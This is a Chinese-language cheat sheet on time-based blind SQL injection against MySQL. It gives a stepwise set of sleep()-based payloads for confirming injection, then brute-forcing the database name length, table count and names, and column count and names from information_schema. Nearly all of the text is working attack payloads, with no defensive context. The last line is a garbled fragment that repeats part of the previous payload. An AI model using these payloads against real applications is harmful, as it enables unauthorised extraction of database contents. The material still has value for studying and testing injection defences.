时间延迟注入
基本流程
1.判断存在注入
' or sleep(3) #
--' or sleep(if((1=2), true, false))#
' or sleep(if((1=2), 0, 3)) #
2.判断数据库长度并逐个爆破(sleep/length)
' or sleep(if(length(database())>7 , 1, 3)) # --(false)
' or sleep(if(length(database())>3 , 1, 3)) # --(true)
--则数据库长度在(3,7)之间
3.爆破表的个数/长度/表名(count/length/mid)
-
表个数
’ or sleep(if( ((select count(table_name) from information_schema.tables where table_schema=database())>5) , 1, 3)) # --(false)
’ or sleep(if( ((select count(table_name) from information_schema.tables where table_schema=database())>3) , 1, 3)) # --(true)
–则表个数在(3,5)之间
- 表长度
```sql
' or sleep(if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5), 1, 3)) #
- 表名
' or sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100), 1, 3)) #
4.爆破列个数/长度/列名(count/length/mid)
- 列个数
' or sleep(if( ((select count(column_name) from information_schema.columns where table_name="users" and table_schema=database())>5) , 1, 3)) #
- 列长度
' or sleep(if((length((select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 0,1)) > 5), 1, 3)) #
- 列名
' or sleep(if((ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 ), 1, 3)) #
() and table_name=‘users’ limit 0,1),1,1)) > 105 ), 1, 3)) #